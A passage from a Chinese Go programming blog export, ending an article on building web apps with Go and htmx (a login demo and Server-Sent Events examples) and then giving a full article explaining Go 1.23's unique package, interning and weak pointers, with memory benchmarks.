make(map[string]bool) tokensMu sync.Mutex ) type LoginResponse struct { Success bool `json:\u0026#34;success\u0026#34;` Token string `json:\u0026#34;token,omitempty\u0026#34;` Message string `json:\u0026#34;message\u0026#34;` Redirect string `json:\u0026#34;redirect,omitempty\u0026#34;` } func main() { http.HandleFunc(\u0026#34;/\u0026#34;, indexHandler) http.HandleFunc(\u0026#34;/login\u0026#34;, loginHandler) http.HandleFunc(\u0026#34;/dashboard\u0026#34;, dashboardHandler) http.HandleFunc(\u0026#34;/protected\u0026#34;, protectedHandler) fmt.Println(\u0026#34;Server is running on http://localhost:8080\u0026#34;) http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) } func indexHandler(w http.ResponseWriter, r *http.Request) { if r.URL.Path != \u0026#34;/\u0026#34; { http.NotFound(w, r) return } http.ServeFile(w, r, \u0026#34;index.html\u0026#34;) } func loginHandler(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, \u0026#34;Method not allowed\u0026#34;, http.StatusMethodNotAllowed) return } username := r.FormValue(\u0026#34;username\u0026#34;) password := r.FormValue(\u0026#34;password\u0026#34;) response := LoginResponse{} if username == \u0026#34;admin\u0026#34; \u0026amp;\u0026amp; password == \u0026#34;password\u0026#34; { token := uuid.New().String() tokensMu.Lock() tokens[token] = true tokensMu.Unlock() response.Success = true response.Token = token response.Message = \u0026#34;Login successful\u0026#34; response.Redirect = \u0026#34;/dashboard\u0026#34; } else { response.Success = false response.Message = \u0026#34;Login failed. Please check your credentials and try again.\u0026#34; } w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/json\u0026#34;) json.NewEncoder(w).Encode(response) } func dashboardHandler(w http.ResponseWriter, r *http.Request) { tmpl, err := template.ParseFiles(\u0026#34;dashboard.html\u0026#34;) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } tmpl.Execute(w, nil) } func protectedHandler(w http.ResponseWriter, r *http.Request) { authHeader := r.Header.Get(\u0026#34;Authorization\u0026#34;) if authHeader == \u0026#34;\u0026#34; || !strings.HasPrefix(authHeader, \u0026#34;Bearer \u0026#34;) { http.Error(w, \u0026#34;Unauthorized\u0026#34;, http.StatusUnauthorized) return } token := strings.TrimPrefix(authHeader, \u0026#34;Bearer \u0026#34;) tokensMu.Lock() valid := tokens[token] tokensMu.Unlock() if !valid { http.Error(w, \u0026#34;Invalid token\u0026#34;, http.StatusUnauthorized) return } fmt.Fprintf(w, `\u0026lt;div\u0026gt; \u0026lt;h2\u0026gt;Protected Content\u0026lt;/h2\u0026gt; \u0026lt;p\u0026gt;This is sensitive information only for authenticated users.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;Your token: %s\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt;`, token) } 注：这里仅是示例，因此只是用了一个uuid作为token，没有使用通用的jwt。\n运行程序，登录并在Dashboard中点击访问protected data，我们会看到下面图中呈现的效果：\n下面我们再来看一个略复杂一些的示例，这次我们基于htmx来实现SSE(Server-Sent Event)，即服务端事件。\n3.2 SSE Server-Sent Events (SSE) 是一种轻量级的实时通信技术，允许服务器通过HTTP协议持续向客户端推送更新数据。与WebSocket不同，SSE是单向通信，服务器可以推送数据到客户端，但客户端无法通过同一连接向服务器发送数据。这种机制非常适合需要频繁更新数据但对双向通信要求不高的场景，如股票价格、新闻推送、社交媒体通知等。\nhtmx对SSE的支持是通过扩展包实现的，下面就是本示例的index.html模板代码：\n// go-htmx/demo5/index.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;title\u0026gt;HTMX SSE Notifications\u0026lt;/title\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/htmx.org@1.9.6\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/htmx.org/dist/ext/sse.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;实时通知\u0026lt;/h1\u0026gt; \u0026lt;div hx-ext=\u0026#34;sse\u0026#34; sse-connect=\u0026#34;/events\u0026#34; sse-swap=\u0026#34;message\u0026#34;\u0026gt; \u0026lt;ul id=\u0026#34;notifications\u0026#34;\u0026gt; \u0026lt;!-- 通知将在这里动态添加 --\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; htmx.on(\u0026#34;htmx:sseMessage\u0026#34;, function(event) { var ul = document.getElementById(\u0026#34;notifications\u0026#34;); var li = document.createElement(\u0026#34;li\u0026#34;); li.innerHTML = event.detail.message; ul.insertBefore(li, ul.firstChild); }); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 这个代码片段通过HTMX和Server-Sent Events (SSE) 实现了实时通知的功能。它会动态将服务器端发送的通知添加到页面的通知列表中。具体来说：\nhx-ext=”sse”：启用了HTMX的SSE扩展，用于处理 Server-Sent Events（服务器发送事件），使得浏览器可以保持与服务器的长连接，实时接收更新。 sse-connect=”/events”：指定了SSE连接的URL。浏览器会向/events这个路径发起SSE连接，服务器可以通过这个连接持续向客户端推送消息。 sse-swap=”message”：指示HTMX在收到SSE消息时触发事件处理，消息内容将使用JavaScript进行处理而不是自动更新HTML。 htmx.on(“htmx:sseMessage”, function(event))：监听HTMX的htmx:sseMessage事件，每当服务器通过SSE推送新消息时，该事件会触发。event.detail.message包含从服务器接收到的消息内容。 var ul = document.getElementById(“notifications”);：获取页面上ID为notifications的\\\u0026lt;ul\u0026gt;元素，表示存放通知的容器。收到的通知通过htmx:sseMessage事件处理，将消息动态添加到通知列表中，并显示在网页上。 下面是示例对应的Go后端程序：\n// go-htmx/demo5/main.go func main() { http.HandleFunc(\u0026#34;/\u0026#34;, serveHTML) http.HandleFunc(\u0026#34;/events\u0026#34;, handleSSE) fmt.Println(\u0026#34;Server starting on http://localhost:8080\u0026#34;) log.Fatal(http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil)) } func serveHTML(w http.ResponseWriter, r *http.Request) { http.ServeFile(w, r, \u0026#34;index.html\u0026#34;) } func handleSSE(w http.ResponseWriter, r *http.Request) { w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;text/event-stream\u0026#34;) w.Header().Set(\u0026#34;Cache-Control\u0026#34;, \u0026#34;no-cache\u0026#34;) w.Header().Set(\u0026#34;Connection\u0026#34;, \u0026#34;keep-alive\u0026#34;) flusher, ok := w.(http.Flusher) if !ok { http.Error(w, \u0026#34;Streaming unsupported!\u0026#34;, http.StatusInternalServerError) return } notificationCount := 1 for { notification := fmt.Sprintf(\u0026#34;新通知 #%d: %s\u0026#34;, notificationCount, time.Now().Format(\u0026#34;15:04:05\u0026#34;)) fmt.Fprintf(w, \u0026#34;data: \u0026lt;li\u0026gt;%s\u0026lt;/li\u0026gt;\\n\\n\u0026#34;, notification) flusher.Flush() notificationCount++ time.Sleep(3 * time.Second) if r.Context().Err() != nil { return } } } 运行程序，打开浏览器访问localhost:8080，在加载的页面中会自动建立sse连接，页面上的通知消息区便会如下面这样每3秒一变化：\n不过这个示例的程序有个“瑕疵”，那就是如果将htmx的版本从1.9.6换作最新的2.0.2，那么示例就将不工作了，翻看了一下htmx文档，应该是sseMessage这个htmx扩展属性被删除了。\n如果要让示例更具通用性，可以将index.html换成下面的代码：\n// go-htmx/demo6/index.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;title\u0026gt;HTMX SSE Notifications\u0026lt;/title\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/htmx.org@2.0.2\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;style\u0026gt; #notification { padding: 10px; border: 1px solid #ccc; background-color: #f8f8f8; margin-top: 20px; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;实时通知\u0026lt;/h1\u0026gt; \u0026lt;div id=\u0026#34;notification-container\u0026#34;\u0026gt; \u0026lt;div id=\u0026#34;notification\u0026#34;\u0026gt;等待通知...\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; document.body.addEventListener(\u0026#39;htmx:load\u0026#39;, function() { var notificationDiv = document.getElementById(\u0026#39;notification\u0026#39;); var evtSource = new EventSource(\u0026#34;/events\u0026#34;); evtSource.onmessage = function(event) { notificationDiv.textContent = event.data; }; evtSource.onerror = function(err) { console.error(\u0026#34;EventSource failed:\u0026#34;, err); }; }); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 当然这个代码更多使用js来实现事件的处理。\n4. 小结 本文探讨了Go与htmx这一全栈组合的简洁优势。对于后端开发者而言，这一组合提供了一种无需深入掌握前端技术即可开发现代Web应用的高效途径。\n然而，从两个高级示例中可以看出，JavaScript代码仍难以完全避免，虽然数量不多，但在稍复杂的场景下依然不可或缺。\n因此，htmx目前更多被中小型团队或个人开发者所青睐。这类开发者通常没有专职的前端人员，但希望快速构建并部署功能完善的Web应用。\n综上所述，在我这个对前端开发了解甚少的Go开发者看来，Go与htmx的组合的确降低了开发门槛，同时提供了性能和SEO优势，使其成为现代Web开发中值得推荐的技术栈之一。不过，对于复杂的Web应用，开发者可能需要结合htmx和JavaScript，或更可能直接采用vue、react或angular等框架。\n目前Go社区对htmx的支持也越来越多，比如html模板引擎templ可以用于生成htmx模板，当然也有专有的htmx框架，比如：ghtmx、pagoda、go-htmx等。\n本文涉及的源码可以在这里下载。\n5. 参考资料 htmx.org – https://htmx.org/ htmx sucks – https://htmx.org/essays/htmx-sucks/ 《HYPERMEDIA SYSTEMS》 – https://hypermedia.systems/book/contents/ Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/09/20/htmx-gopher-perfect-partner-for-full-stack/","summary":"\u003cp\u003e\u003cimg alt=\"Image 47\" loading=\"lazy\" src=\"/images/wp-content/uploads/htmx-gopher-perfect-partner-for-full-stack-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/09/20/htmx-gopher-perfect-partner-for-full-stack\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/09/20/htmx-gopher-perfect-partner-for-full-stack\"\u003ehttps://tonybai.com/2024/09/20/htmx-gopher-perfect-partner-for-full-stack\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在传统的Web开发领域，前端和后端开发通常被明确划分。前端主要负责用户界面的交互和视觉呈现，运用HTML、CSS和JavaScript等技术；后端则专注于服务器逻辑、数据库管理和核心功能实现，常用Go、Java、PHP、Ruby等语言。\u003c/p\u003e","title":"htmx：Gopher走向全栈的完美搭档？"},{"content":"\n本文永久链接 – https://tonybai.com/2024/09/18/understand-go-unique-package-by-example\nGo的1.23版本中引入了一个新的标准库包unique，为Go开发者带来了高效的值interning能力。这种能力不仅适用于字符串类型值，还可应用于任何可比较(comparable)类型的值。\n本文将简要探讨interning技术及其在Go中的实现方式，通过介绍unique包的功能，帮助读者更好地理解这一技术及其实际应用。\n1. 从string interning技术说起 通常提到interning技术时，指的是传统的字符串驻留（string interning）技术。它是一种优化方法，旨在减少程序中重复字符串的内存占用，并提高字符串比较操作的效率。其基本原理是将相同的字符串值在内存中只存储一次，所有对该字符串的引用都指向同一内存地址，而不是为每个相同字符串创建单独的副本。下图展示了使用和不使用string interning技术的对比:\n这个图直观地展示了string interning如何通过共享相同的字符串来节省内存和提高效率。我们看到：在不使用string interning的情况下，每个字符串都有自己的内存分配，即使内容相同，比如”Hello”字符串出现两次，占用了两块不同的内存空间。而在使用string interning的情况下，相同内容的字符串只存储一次，比如：两个”Hello”字符串引用指向同一个内存位置。\nstring interning在多种场景下非常有用，比如在解析文本格式(如XML、JSON)时，interning能高效处理标签名称经常重复的问题；在编译器或解释器的实现时，interning能够减少符号表中的重复项等。\n传统的string interning通常使用哈希表或字典来存储字符串的唯一实例。每次出现新字符串时，程序首先会检查哈希表中是否已有相同的字符串，若存在则返回其引用，若不存在则将其存储在表中。\nMichael Knyszek在Go官博介绍interning技术时，也给出了一个传统实现的代码片段：\nvar internPool map[string]string // Intern returns a string that is equal to s but that may share storage with // a string previously passed to Intern. func Intern(s string) string { pooled, ok := internPool[s] if !ok { // Clone the string in case it\u0026#39;s part of some much bigger string. // This should be rare, if interning is being used well. pooled = strings.Clone(s) internPool[pooled] = pooled } return pooled } 这种实现虽然简单，但Knyszek指出了其存在几个问题：\n一旦字符串被intern，就永远不会被释放。 在多goroutine环境下使用需要额外的同步机制。 仅限于字符串类型值，不能用于其他类型的值。 Go 1.23版本引入的unique包就是string interning技术的一种Go官方实现，当然就像前面所说，unique包不仅仅支持传统的string interning，还支持任何支持比较的类型的值的interning。\n不过，在介绍unique包之前，我们简单看看这些年来Go社区对interning技术的贡献。\n2. Go社区interning技术的实现简史 由于其他主流语言都或多或少有了对string interning的支持，Go社区显然也需要这样的包，在Go issues列表中，我能找到的最早提出在Go中添加interning技术实现的是2013年go核心开发人员Brad Fitzpatrick提出的”proposal: runtime: optionally allow callers to intern strings“。\n2019年，Josh Bleecher Snyder发表了一篇博文Interning strings in Go，探讨了interning的Go实现方法，并给出一个简单但重度使用sync.Pool的interning实现，该实现支持对string和字节切片的interning。\n2021年，tailscale为了实现可以高效表示ip地址的netaddr包，构建和开源了go4.org/intern包，这是一个可用于量产级别的interning实现。\n注：go4.org中这个go4的名字很可能就是因为go4.org这个组织只有四个contributors：Brad Fitzpatrick、Josh Bleecher Snyder、Dave Anderson和Matt Layher。之前的一篇文章《理解unsafe-assume-no-moving-gc包》中的unsafe-assume-no-moving-gc包也是go4.org下面的。\n之后，Brad Fitzpatrick将inetaf/netaddr包的实现合并到了Go标准库net/netip中，而netaddr包依赖的go4.org/intern包也被移入Go项目，变为internal/intern包，并被net/netip包所使用。\n直到2023年9月，mknyszek提出”unique: new package with unique.Handle“的proposal，给出unique包的API设计和参考实现。unique落地后，原先使用internal/intern包的net/netip也都改为使用unique包了，internal/intern在Go 1.23版本被移除。\n接下来，我们来看看这篇文章的主角unique包。\n3. Go的unique包介绍 相较于传统的interning实现以及Go社区之前的实现，Go 1.23引入的unique包提供了一个更加通用和高效的interning实现方案。下面我们就分别从API、unique包的优势以及实现原理等几个方面介绍一下这个包。\n3.1 unique包的API 从用户角度看，unique包提供的核心API非常简洁：\n$go doc unique.Handle package unique // import \u0026#34;unique\u0026#34; type Handle[T comparable] struct { // Has unexported fields. } func Make[T comparable](value T) Handle[T] func (h Handle[T]) Value() T Make函数就是unique包的”Intern”函数，它接受一个可比较类型的值，返回一个intern后的值，不过和前面那个传统实现方式的Intern函数不同，Make函数返回的是一个Handle[T]类型的值。针对同一个传给Make函数的值，返回的Handle[T]类型的值是相同的：\n// unique-examples/string_interning.go package main import \u0026#34;unique\u0026#34; func main() { h1 := unique.Make(\u0026#34;hello\u0026#34;) h2 := unique.Make(\u0026#34;hello\u0026#34;) h3 := unique.Make(\u0026#34;hello\u0026#34;) h4 := unique.Make(\u0026#34;golang\u0026#34;) println(h1 == h2) // true println(h1 == h3) // true println(h1 == h4) // false println(h2 == h4) // false } unique包的作者Knyszek认为Handle[T]和Lisp语言中的Symbol十分类似，Symbol在Lisp中是interned后的字符串，Lisp确保相同的字符串只存储一次，提高内存存储和使用效率。\n不过前面说了，unique不仅支持字符串值的interning，还支持其他可比较类型的值的interning，下面是一个int interning和一个自定义可比较类型的interning的例子：\n// unique-examples/int_interning.go package main import \u0026#34;unique\u0026#34; func main() { var a, b int = 5, 6 h1 := unique.Make(a) h2 := unique.Make(a) h3 := unique.Make(b) println(h1 == h2) // true println(h1 == h3) // false } // unique-examples/user_type_interning.go package main import \u0026#34;unique\u0026#34; type UserType struct { a int z float64 s string } func main() { var u1 = UserType{ a: 5, z: 3.14, s: \u0026#34;golang\u0026#34;, } var u2 = UserType{ a: 5, z: 3.15, s: \u0026#34;golang\u0026#34;, } h1 := unique.Make(u1) h2 := unique.Make(u1) h3 := unique.Make(u2) println(h1 == h2) // true println(h1 == h3) // false } 注：如果要intern的类型T是包含指针的结构体，这些指针指向的值几乎总是会逃逸到堆上。\n通过Make获得的Handle[T]的Value方法可以获取到interning值的原始值，我们看下面示例：\n// unique-examples/value.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;unique\u0026#34; ) type UserType struct { a int z float64 s string } func main() { var u1 = UserType{ a: 5, z: 3.14, s: \u0026#34;golang\u0026#34;, } h1 := unique.Make(u1) h2 := unique.Make(\u0026#34;hello, golang\u0026#34;) h3 := unique.Make(567890) v1 := h1.Value() v2 := h2.Value() v3 := h3.Value() fmt.Printf(\u0026#34;%T: %v\\n\u0026#34;, v1, v1) // main.UserType: {5 3.14 golang} fmt.Printf(\u0026#34;%T: %v\\n\u0026#34;, v2, v2) // string: hello, golang fmt.Printf(\u0026#34;%T: %v\\n\u0026#34;, v3, v3) // int: 567890 } 注：Value方法返回的是值的浅拷贝，对于复合类型可能存在共享底层数据的情况。\n3.2 unique包的实现原理 传统的字符串interning实现起来可能并不难，但unique包的目标是设计支持可比较类型、interning值也可被GC且支持快速interning值比较的方案，unique包的实现涉及到hashtrimap、细粒度锁以及与runtime内gc相关函数结合的技术难题，因此其门槛还是很高的，即便是Go核心团队成员Knyszek实现的unique包，在Go 1.23发布后也被发现了较为“严重”的bug，该问题将在Go 1.23.2版本修正。\n下面是一个unique包实现原理的示意图：\n上图展示了Make、Handle[T]和Value方法之间的关系，以及它们如何与内部的map(hashtrieMap)交互。\n我们看到，图中三次调用Make(“hello”)都返回相同的Handle[string]{ptr1}，即无论调用多少次Make，对于相同的输入值，Make总是返回相同的Handle。\n图中的Handle[string]{ptr1}是一个包含指向存储”hello”的内存位置指针的结构，所有三次Make调用返回的Handle都指向同一个内存位置。下面是Handle结构体的定义，看了你就明白了这句话的含义：\n// $GOROOT/src/unique/handle.go type Handle[T comparable] struct { value *T } 注：这里Handle内部的指针*T都是strong pointer(强指针)，以图中示例，只要有一个Handle实例(由Make返回的)存在，内存中的”hello”就不会被GC。\nHandle[string]{ptr1}的Value()方法返回存储的字符串值”hello”。\nunique包有一个内部map(hashtrieMap)存储键值对，键是字符串”hello”的clone，值是一个weak.Pointer，指向存储实际字符串值的内存位置。weak.Pointer 是Go 1.23版本的内部包internal/weak中的一个类型，主要用于实现弱指针（weak pointer）的功能。weak.Pointer的主要作用是允许引用一个对象，而不会阻止该对象被垃圾收集器回收。具体来说，它允许你持有一个指向对象的指针，但当该对象的强指针消失时，垃圾收集器仍然可以回收该对象。下面是一张weak Pointer工作机制的示意图，展示了弱指针的生命周期以及对GC行为的影响：\n初始状态下，应用创建一个对象，同时创建一个强指针和一个weak.Pointer指向该对象。GC检查对象，但因为存在强指针，所以不能回收。强指针被移除，只剩下weak.Pointer指向对象。GC检查对象，发现没有强指针，于是回收对象。内存被释放，weak.Pointer变为nil。\n由于weak包位于internal包中，它只能在Go的标准库或特定包中使用，我们只能用下面的伪代码来展示weak.Pointer的机制：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;unsafe\u0026#34; \u0026#34;internal/weak\u0026#34; ) type MyStruct struct { name string } func main() { // 创建一个对象，obj可以理解为该对象的强指针 obj := \u0026amp;MyStruct{name: \u0026#34;object1\u0026#34;} // 创建一个weak.Pointer指向obj，weakPtr是对obj指向内存的弱指针 weakPtr := weak.Make(obj) // 显示对象的值，通过强指针和弱指针都可以 fmt.Println(\u0026#34;Before GC:\u0026#34;, weakPtr.Value()) fmt.Println(\u0026#34;Before GC:\u0026#34;, *obj) // 释放原始对象的强指针 obj = nil // 强制执行GC，这时由于弱指针无法阻止GC，obj指向的内存可能被回收 runtime.GC() // 查看弱指针是否仍然有效，这里不能直接使用obj，因为对象可能已经被回收 fmt.Println(\u0026#34;After GC:\u0026#34;, weakPtr.Value()) } 弱指针有一些典型的使用场景，比如在缓存机制中，可能希望引用某些对象而不阻止它们被垃圾回收。这样可以在内存不足时自动释放不再使用的缓存对象；又比如在某些场景下，不希望对象长时间驻留在内存中，但仍然希望能够在需要时重新创建或加载它们，即延迟加载的对象；在某些数据结构中（如哈希表或链表），持有强指针可能会导致内存泄漏，弱指针可以有效避免这种情况。\n注：目前Knyszek已经提出proposal，将weak包提升为标准库公共API，该proposal已经被accept，最早将在Go 1.24版本落地。\n3.3 unique包的优势 从上面示例和原理示意图来看，unique包的设计和实现有几个显著的优势：\n泛型支持 通过使用Go的泛型特性，unique包可以处理任何可比较的类型，大大扩展了其应用范围，不再局限于字符串类型。\n高效的内存管理 unique包使用了运行时级别的弱指针实现，确保当所有相关的Handle[T](即强指针)都不再被使用时，内部map中的值可以被垃圾回收，这既避免了内存长期占用，也避免了内存泄漏问题。\n快速比较操作 Handle[T]类型的比较操作被优化为简单的指针比较，这比直接比较值(特别是对于大型结构体或长字符串内容)要快得多。\n3.4 unique包的实际应用 unique包刚刚诞生，目前在Go标准库中的实际应用主要就是在net/netip包中，替代了之前由go4.org/intern移植到标准库中的internal/intern包。\nnet/netip包使用unique来优化Addr结构体中的addrDetail字段：\ntype Addr struct { // 其他字段... // Details about the address, wrapped up together and canonicalized. z unique.Handle[addrDetail] } // addrDetail represents the details of an Addr, like address family and IPv6 zone. type addrDetail struct { isV6 bool // IPv4 is false, IPv6 is true. zoneV6 string // != \u0026#34;\u0026#34; only if IsV6 is true. } // z0, z4, and z6noz are sentinel Addr.z values. // See the Addr type\u0026#39;s field docs. var ( z0 unique.Handle[addrDetail] z4 = unique.Make(addrDetail{}) z6noz = unique.Make(addrDetail{isV6: true}) ) // WithZone returns an IP that\u0026#39;s the same as ip but with the provided // zone. If zone is empty, the zone is removed. If ip is an IPv4 // address, WithZone is a no-op and returns ip unchanged. func (ip Addr) WithZone(zone string) Addr { if !ip.Is6() { return ip } if zone == \u0026#34;\u0026#34; { ip.z = z6noz return ip } ip.z = unique.Make(addrDetail{isV6: true, zoneV6: zone}) return ip } 通过使用unique，net/netip包能够显著减少处理大量IP地址时的内存占用。特别是对于具有相同zone的IPv6地址，内存使用可以大幅降低。\n下面我们也通过一个简单的示例来看看使用unique包的内存占用减少的效果。\n3.5 内存占用减少的效果 现在我们创建100w个长字符串，这100w个字符串中，有1000种不同的字符串，相当于每种字符串有1000个重复值。下面分别用unique包和不用unique包来演示这个示例，看看内存占用情况：\n// unique-examples/effect_with_unique.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;unique\u0026#34; ) const ( numItems = 1000000 stringLen = 20 numDistinct = 1000 ) func main() { // 创建一些不同的字符串 distinctStrings := make([]string, numDistinct) for i := 0; i \u0026lt; numDistinct; i++ { distinctStrings[i] = strings.Repeat(string(rune(\u0026#39;A\u0026#39;+i%26)), stringLen) } // 使用unique包 withUnique := make([]unique.Handle[string], numItems) for i := 0; i \u0026lt; numItems; i++ { withUnique[i] = unique.Make(distinctStrings[i%numDistinct]) } runtime.GC() // 强制GC printMemUsage(\u0026#34;With unique\u0026#34;) runtime.KeepAlive(withUnique) } func printMemUsage(label string) { var m runtime.MemStats runtime.ReadMemStats(\u0026amp;m) fmt.Printf(\u0026#34;%s:\\n\u0026#34;, label) fmt.Printf(\u0026#34; Alloc = %v MiB\\n\u0026#34;, bToMb(m.Alloc)) fmt.Printf(\u0026#34; TotalAlloc = %v MiB\\n\u0026#34;, bToMb(m.TotalAlloc)) fmt.Printf(\u0026#34; Sys = %v MiB\\n\u0026#34;, bToMb(m.Sys)) fmt.Printf(\u0026#34; HeapAlloc = %v MiB\\n\u0026#34;, bToMb(m.HeapAlloc)) fmt.Printf(\u0026#34; HeapSys = %v MiB\\n\u0026#34;, bToMb(m.HeapSys)) fmt.Printf(\u0026#34; HeapInuse = %v MiB\\n\u0026#34;, bToMb(m.HeapInuse)) fmt.Println() } func bToMb(b uint64) uint64 { return b / 1024 / 1024 } // unique-examples/effect_without_unique.go ... func main() { // 创建一些不同的字符串 distinctStrings := make([]string, numDistinct) for i := 0; i \u0026lt; numDistinct; i++ { distinctStrings[i] = strings.Repeat(string(rune(\u0026#39;A\u0026#39;+i%26)), stringLen) } // 不使用unique包 withoutUnique := make([]string, numItems) for i := 0; i \u0026lt; numItems; i++ { withoutUnique[i] = distinctStrings[i%numDistinct] } runtime.GC() // 强制GC以确保准确的内存使用统计 printMemUsage(\u0026#34;Without unique\u0026#34;) runtime.KeepAlive(withoutUnique) } ... 下面分别运行这两个源码：\n$go run effect_with_unique.go With unique: Alloc = 7 MiB TotalAlloc = 7 MiB Sys = 15 MiB HeapAlloc = 7 MiB HeapSys = 11 MiB HeapInuse = 8 MiB $go run effect_without_unique.go Without unique: Alloc = 15 MiB TotalAlloc = 15 MiB Sys = 22 MiB HeapAlloc = 15 MiB HeapSys = 19 MiB HeapInuse = 15 MiB 这个结果清楚地显示了使用unique包后的内存节省。不使用unique包时，每个重复的字符串都会单独分配内存。而使用unique包后，相同的字符串只会分配一次，大大减少了内存使用。在实际应用中，内存节省的效果可能更加显著，特别是在处理大量重复数据（如日志处理、文本分析等）的场景中。\n4. 小结 本文粗略探讨了Go 1.23版本引入的unique包：我们从字符串interning技术说起，介绍了Go社区在interning技术实现方面的努力历程，重点阐述了unique包的API设计、实现原理及其优势。\n我们看到：unique包不仅支持传统的字符串interning，还扩展到任何可比较类型的值。其核心API设计简洁，通过Handle[T]类型和Make、Value方法实现了高效的值interning。\n在实现原理上，unique包巧妙地结合了hashtrieMap、细粒度锁以及与runtime内gc相关函数，实现了支持可比较类型、interned值可被GC且支持快速比较的方案。\n总的来说，unique包为Go开发者提供了一个强大而灵活的interning工具，有望在未来的Go社区项目中得到广泛应用。\n本文涉及的源码可以在这里下载。\n5. 参考资料 Interning strings in Go – https://commaok.xyz/post/intern-strings/ Interning – https://en.wikipedia.org/wiki/String_interning unique: new package with unique.Handle – https://github.com/golang/go/issues/62483 New unique package – https://go.dev/blog/unique unique: large string still referenced, after interning only a small substring – https://github.com/golang/go/issues/69370 netaddr.IP: a new IP address type for Go – https://tailscale.com/blog/netaddr-new-ip-type-for-go Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/09/18/understand-go-unique-package-by-example/","summary":"\u003cp\u003e\u003cimg alt=\"Image 33\" loading=\"lazy\" src=\"/images/wp-content/uploads/understand-go-unique-package-by-example-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/09/18/understand-go-unique-package-by-example\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/09/18/understand-go-unique-package-by-example\"\u003ehttps://tonybai.com/2024/09/18/understand-go-unique-package-by-example\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca 